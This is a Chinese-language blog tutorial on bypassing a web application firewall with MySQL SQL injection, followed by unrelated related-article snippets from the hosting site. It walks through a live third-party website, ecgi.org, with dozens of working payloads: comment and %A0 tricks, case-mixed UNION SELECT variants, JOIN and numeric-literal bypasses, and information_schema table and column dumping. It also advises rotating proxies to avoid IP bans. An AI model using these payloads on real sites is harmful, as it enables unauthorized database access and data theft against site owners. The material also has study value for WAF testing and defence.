MySQL绕过WAF实战技巧

news2024/11/17 4:28:19

一、前言

本人喜欢遇到好的东西,乐于分享,关注freebuf有段时间了,写过两篇文章,每次写写文章,不仅仅是为了挣点稿费。而是通过此平台能够认识一些安全圈的小伙伴,互相学习,共同进步。在安全行业也有些曲折,发过工控协议fuzzing的入门教程,也发过无线安全的渗透测试脚本。这次发个web的吧。仅供学习,本人也是小菜。大牛直接飞过吧。

二、综述

最近在研究web安全,感觉不掌握点绕过技巧,没法混,在看了几天的关于sql注入绕过的方式后,大都是宏观的讲解有哪些绕过方式。简单的总结了下:

1、注释方式绕过

2、编码方式绕过

3、大小写方式绕过

4、缓冲区溢出导致拒绝服务从而绕过(fuzz技术)

这是目前几天所看到的,有好的思路的小伙伴,可以随时交流。之前建了一个无线电安全研究的群:163309269。欢迎不限于研究无线电、物联网安全的大牛加入。

这次主要是看到国外大牛对mysql注入测试的一些思路,然后自己整理下,分享下。对于只看宏观文章,没有实战的演练,无疑是很好的案例。

三、具体实现

本次测试是以如下站点为例:http://www.ecgi.org/wp/wp_id.php?id=123

1、首先加入单引号http://www.ecgi.org/wp/wp_id.php?id=123’,出现下面提示:owner has denied your access to the site.然后尝试bypass。

Mysql绕过waf实战技巧

2、然后在输入如下测试链接:http://www.ecgi.org/wp_id.php?id=123’oRder By 100-- - 会再次阻塞我们的 IP地址,拒绝我们访问。

Mysql绕过waf实战技巧

3、尝试Group By,测试链接为:http://www.ecgi.org/wp/wp_id.php?id=213’Group By 100 – - 出现Unknown column ‘100’in ‘group statemeat’。这里代表Group By可以工作,waf不能阻塞。

Mysql绕过waf实战技巧

然后用如下测试:这里代表是25列。

Mysql绕过waf实战技巧

4、下面测试如何Bypass Order By。通过手工测试发现只要Order和By连在一起就会被waf阻塞。通过测试payload 为:http://www.ecgi.org/wp/wp_id.php?id=213’Order%A0By 100 出现报错,说明waf没有过滤,已经可以bypass。

Mysql绕过waf实战技巧

这里还有一种方式:payload为:http://www.ecgi.org/wp/wp_id.php?id=213’/_//!50000Order/ By 100 – -

依然可以报错,说明也可以bypass waf。

Mysql绕过waf实战技巧

5、接下来进行联合查询,使用union select。使用手工测试下:http://www.ecgi.org/wp/wp_id?id=123’UnIoN SeLeCt 发现被waf拦截。下面再次尝试bypass。

Mysql绕过waf实战技巧

首先手工判断下过滤字段是什么,经过测试发现只要UnIoN和SeLeCT连在一起,就会别waf拦截。那么开始写paylaod来绕过吧。

payload为:http://www.ecgi.org/wp/wp_id.php?id=213’/_/UnIoN(/!50000SeLeCt/1,2 – - (温馨提示,有些waf可能会在攻击者较多测试过程中会封锁IP,建议使用代理不断更新自己的IP地址)。这里报错,说明已经bypass了。

Mysql绕过waf实战技巧

上面知道了column是25,那么我们可以构造payload为:

http://wwww.ecgi.org/wp/wp_id.php?id=-213’/_/UnIoN(/!50000SeLeCt/1,2,3,4444444444444,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)-- - 来进行测试:发现在Title中爆出我们填写的数据。

Mysql绕过waf实战技巧

在UnIoN和SeLeCt直接过滤情况下,还可以尝试另一种方式来进行测试,从而绕过waf。

http://www.ecgi.org/wp/wp_id.php?id=213’UnIoN%A0SeLeCT 1,2 – -

这里会报错,说明可以bypass。

但是在联合查询的时候,查询填充的列分割较多时,就会别waf拦截。如下payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’UnIoN%A0SeLeCT 1,2,3,4,5,6 – -

Mysql绕过waf实战技巧

这里存在几种绕过方式:

(1)使用Join查询

payload构造为:

http://wwww.ecgi.org/wp/wp_id.php?id=-213’  UnIoN%A0SeLeCT*FrOm(SeLeCt 1)a JOIN (SeLeCt 2)b JOIN (SeLeCt 3)c JOIN (SeLeCt 4)d JOIN (SeLeCt 5)e JOIN (SeLeCt 6)f JOIN (SeLeCt 7)g JOIN (SeLeCt 8)h JOIN (SeLeCt 9)i JOIN (SeLeCt 10)j JOIN (SeLeCt 11)k JOIN (SeLeCt 12)l JOIN (SeLeCt 13)m JOIN (SeLeCt 14)n JOIN (SeLeCt 15)o JOIN (SeLeCt 16)p JOIN (SeLeCt 17)q JOIN (SeLeCt 18)r JOIN (SeLeCt 19)s JOIN (SeLeCt 20)t JOIN (SeLeCt 21)w JOIN (SeLeCt 22)x JOIN (SeLeCt 23)y JOIN (SeLeCt 24)z JOIN (SeLeCt 25)2a-- -

如下图所示,bypass成功!

Mysql绕过waf实战技巧

(2)使用字符(~)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,5,~6-- -  

这里依然被waf拦截。

Mysql绕过waf实战技巧

然后在5前面加入~,payload为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,~5,~6-- -

如图所示,bypass成功!

Mysql绕过waf实战技巧

(3)使用小数点(.)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,.5,.6-- -

如图所示,bypass成功!

Mysql绕过waf实战技巧

(4)使用单引号(‘’)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,’5’,’6’-- -

如图所示,bypass成功!

Mysql绕过waf实战技巧

(5)使用双引号(“”)

payload构造为:

http://www.ecgi.org/wp/wp_id?id=-213’ UnIoN%A0SeLeCT 1,2,3,4,”5”,”6”-- -

如图所示,bypass成功!

Mysql绕过waf实战技巧

(6)使用字符(*9e0)

payload构造为:

http://www.ecgi.org/wp/wp_id.php?=213’*9e0UnIoN 

SeLeCT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- -

如图所示,bypass成功!

Mysql绕过waf实战技巧

6、上面基本绕过之后,开始尝试爆数据。

首先我们爆一下information_schema的table_name.

构造payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN 

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 FrOm Information_schema-- -

这里被waf拦截。

Mysql绕过waf实战技巧

好吧,继续bypass操作。。。

首先通过手工尝试,看看过滤什么字段,通过测试过滤了FrOm。我们这里可以选择上面的一些绕过方式,比如

%A0或者/!50000/都没有成功。

下面来讲一下通过其他两种方式来进行bypass测试。

(1)在FrOm前加e0 来bypass

构造payload:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN 

SeleCT 1,2,3,ConCat(table_name)5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema-- -

如图所示,发现报错,说明bypass成功!

然后在构造完整的查询。Information_schema.Tables。如图所示:oh shit…依然被waf拦截。

Mysql绕过waf实战技巧

接着分析绕过吧,通过手工测试,waf过滤的是小数点(.)。那么构造payload吧:

http://www.ecgi.org/wp/wp_id.php?od=213’*9e0UnIoN 

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25e0FrOm Information_schema./_/Tables-- -

如图所示,bypass成功!

Mysql绕过waf实战技巧

(2)加小数点来bypass

payload为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN 

SeLeCT 1,2,3,ConCat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./_/Tables-- -

如图所示,bypass成功!

7、下面来让我们打印出information_schema数据库的所有的表和列吧。

测试payload的为:

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns-- -

如图所示:

8、接着来打印primary DATABASE。好吧,这里被过滤了where。

http://www.ecgi.org/wp/wp_id.php?id=213’*9e0UnIoN SeLeCT 1,2,3,Group_ConCat(0x3c6c693e,table_name,0x3a3a3a3a3a,column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,.25FrOm Information_schema./**_**/columns Where-- -

Mysql绕过waf实战技巧

下面尝试绕过,废话不多数,绕过方式使用/!50000/。如图所示:

Mysql绕过waf实战技巧

9、我们想查询出插入的一句话,这里以大牛为例:INSET BY SAJIB。

把这段字符转换为hex,好吧,这里被waf拦截了,说明过滤了Hex Convert Number。如图所示:

Mysql绕过waf实战技巧

那么我们可以尝试把字符改为二进制(text to binary Convert)来绕过。可以bypass。(需要注意的是二进制前面一定要加0b)

Mysql绕过waf实战技巧

四、总结

绕过方千变万化,思路+知识积累是不可或缺的。希望这篇文章对学习bypass的小伙伴有用。本人也在学习和搜集关于oracle的一些绕过waf技巧,有感兴趣的可以互相学习,探讨。

参考链接主要是国外一位大牛的视频教程:

https://www.youtube.com/watch?time_continue=1493&v=t84zwRF33jU

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1106519.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

为什么不可大张旗鼓地推动“汉字编程”?

为什么不可大张旗鼓地推动“汉字编程”? 没有不可。 我之前看到过一个vscode插件,是给一个不知道叫什么名字的编程语言用的,从代码到注释全是西里尔字母写的,反正就只有东欧那片区域用。最近很多小伙伴找我,说想要一些…

c++实现最大堆

前言 在写leetcode的时候,看到一道优先队列的题目,复习了一下最大堆,用c实现了一下。以前听网课的时候,根本看不懂实现,现在自己也能实现了。 参考文献 这个我觉得讲得挺好的,图很生动形象 代码 #incl…

2023年京东洗发护发行业增长趋势分析:头皮清洁或成小风口

如今,随着消费观念的转变,越来越多的消费者愈加重视头部的洗护,无论是女性还是男性,都开始积极寻找头部洗护用品,以更好地呵护头发及头皮。在用户需求的推动下,洗发护发行业已经逐渐发展成为成熟行业。 根据…

linux性能分析(二)如何从日志分析 PV、UV

一 如何从日志分析 PV、UV 本文是从业务侧来衡量整个应用系统的性能,区别与上篇的网络性能分析备注: 这里的日志不仅指的是业务类型日志,也包括系统日志等各种类型的日志关键: 掌握PV和UV的概念和度量方式 "以下是关于埋点的科普文章" 埋…

不会代码循环断言如何实现?只要6步!

对于使用jmeter工具完成接口测试的测试工程师而言。在工作中,或者在面试中,都会遇到一个问题—— “CSV文档做了一大笔测试数据后,怎么去校验这个结果呢?” 现在大部分测试工程师可能都是通过人工的方法去查看结果,十几…

喜报!迅镭激光荣膺“江苏省智能制造领军服务机构”!

近日,“2023江苏省智能制造领军服务机构”名单揭晓,迅镭激光凭借在智能制造领域的强劲实力和突出的行业影响力位列其中,摘得该项殊荣。 近年来,智能制造正在成为全球传统工业和制造业转型升级的主要方向,越来越多的企业…

关于HBuilder X配置微信小程序开发的整体解决方案

配置小程序ID 配置微信小程序开发工具路径 [微信小程序开发者工具] initialize 问题解决方案 错误原因:微信开发者工具没有开启服务端口,无法使用命令行调试 解决办法:开启微信开发者工具的服务端口( 开发微信开发者工具 --> 设置 -->…

​蔚来自动驾驶,从 2020 年开始讲起的故事

2020 年底,摆脱 2019 年阴霾的李斌先生,热情而兴奋,再一次说:「欢迎来到蔚来日。」 那天蔚来发布了令人咋舌的智能驾驶硬件系统,4 块当时甚至还没有宣布量产日期的 Orin 芯片,11 路高清摄像头。 早在 ET7…

2023年9款好用的在线流程图软件推荐!

随着互联网技术和基础设施的发展,人们能用上比过去更加稳定的网络,因此在使用各类工具软件时,越来越倾向于选择在线工具,或是推出了网页版的应用。 就流程图软件而言,过去想要绘制流程图,我们得在电脑上安…

Git——解决 TortoiseGit 提示 No supported authentication methods available 错误

快速导航 问题描述解决方案步骤1 打开Git 的 Settings窗口步骤2 选择Network步骤3 选择安装目录usr\bin 下的 ssh.exe 文件 问题描述 git 推送(push)后提示No supported authentication methods available 错误 解决方案 步骤1 打开Git 的 Settings窗…

美国科技消费品公司Society Brands完成2500万美元融资

来源:猛兽财经 作者:猛兽财经 猛兽财经获悉,总部位于美国俄亥俄州坎顿的科技消费品公司Society Brands今日宣布已完成2500万美元融资。 本轮融资由Gullane Capital领投,Callais Capital和North Coast Ventures跟投。 该公司打算利…

天猫店铺商品评论数据采集,天猫商品评论数据接口,天猫API接口

天猫店铺商品评论数据接口可以获取到商品ID,商品标题,商品优惠券,商品到手价,商品价格,商品优惠价,商品sku属性,商品图片,商品视频,商品sku属性图片,商品属性…

WebMagic抓取医院科室,医生信息实战及踩坑

简介 WebMagic项目代码分为核心和扩展两部分。核心部分(webmagic-core)是一个精简的、模块化的爬虫实现,而扩展部分则包括一些便利的、实用性的功能。WebMagic的架构设计参照了Scrapy,目标是尽量的模块化,并体现爬虫的功能特点。 WebMagic概…

支持PC端、手机端、数据大屏端的Spring Cloud智慧工地云平台源码

技术架构:微服务JavaSpring Cloud VueUniApp MySql 智慧建筑工地云平台主要利用大数据、物联网等技术,整合工地信息、材料信息、工程进度等,实现对建筑项目的全程管理。它可以实现实时监测和控制,有效解决施工中的问题&#xff0c…

基于springboot的网上商城设计与实现(包调试+LW)

项目描述 临近学期结束,还是毕业设计,你还在做java程序网络编程,期末作业,老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等,今天给大家介绍一篇基于springbo…

【EI会议征稿】2024年遥感技术与测量测绘国际学术会议(RSTSM 2024)

2024年遥感技术与测量测绘国际学术会议(RSTSM 2024) 2024 International Conference on Remote Sensing Technology and Survey Mapping 2024年遥感技术与测量测绘国际学术会议(RSTSM 2024)将在2024年1月12-14日于吉林长春召开。…

耐心使用FPmarkets时间框架交易法,想亏钱都难

很多投资者在交易中极易喜欢使用热门工具,结果不仅没有盈利还把自己的本金亏进去,今天FPmarkets就分享时间框架交易法,想亏钱都难。 FPmarkets积累了处理不同时间框架的经验,并了解在此基础上的工具和指标在较短的时间框架内更为敏…

java--关键字、标识符

1.关键字 1.java语言自己用到的一些词,有特殊作用的,我们称之为关键字,如:public、class、int、double... 2.注意:关键字是java用了的,我们就不能用来做为:类名、变量名,否则会报错…

web前端面试-- 手写原生Javascript方法(new、Object.create)

web面试题 本人是一个web前端开发工程师,主要是vue框架,整理了一些面试题,今后也会一直更新,有好题目的同学欢迎评论区分享 ;-) web面试题专栏:点击此处 手动实现Object.create 通过Object.create&#…

双指针算法解决 移动零 和 复写零问题

🎈个人主页:🎈 :✨✨✨初阶牛✨✨✨ 🐻强烈推荐优质专栏: 🍔🍟🌯C的世界(持续更新中) 🐻推荐专栏1: 🍔🍟🌯C语言初阶 🐻推荐专栏2: 🍔…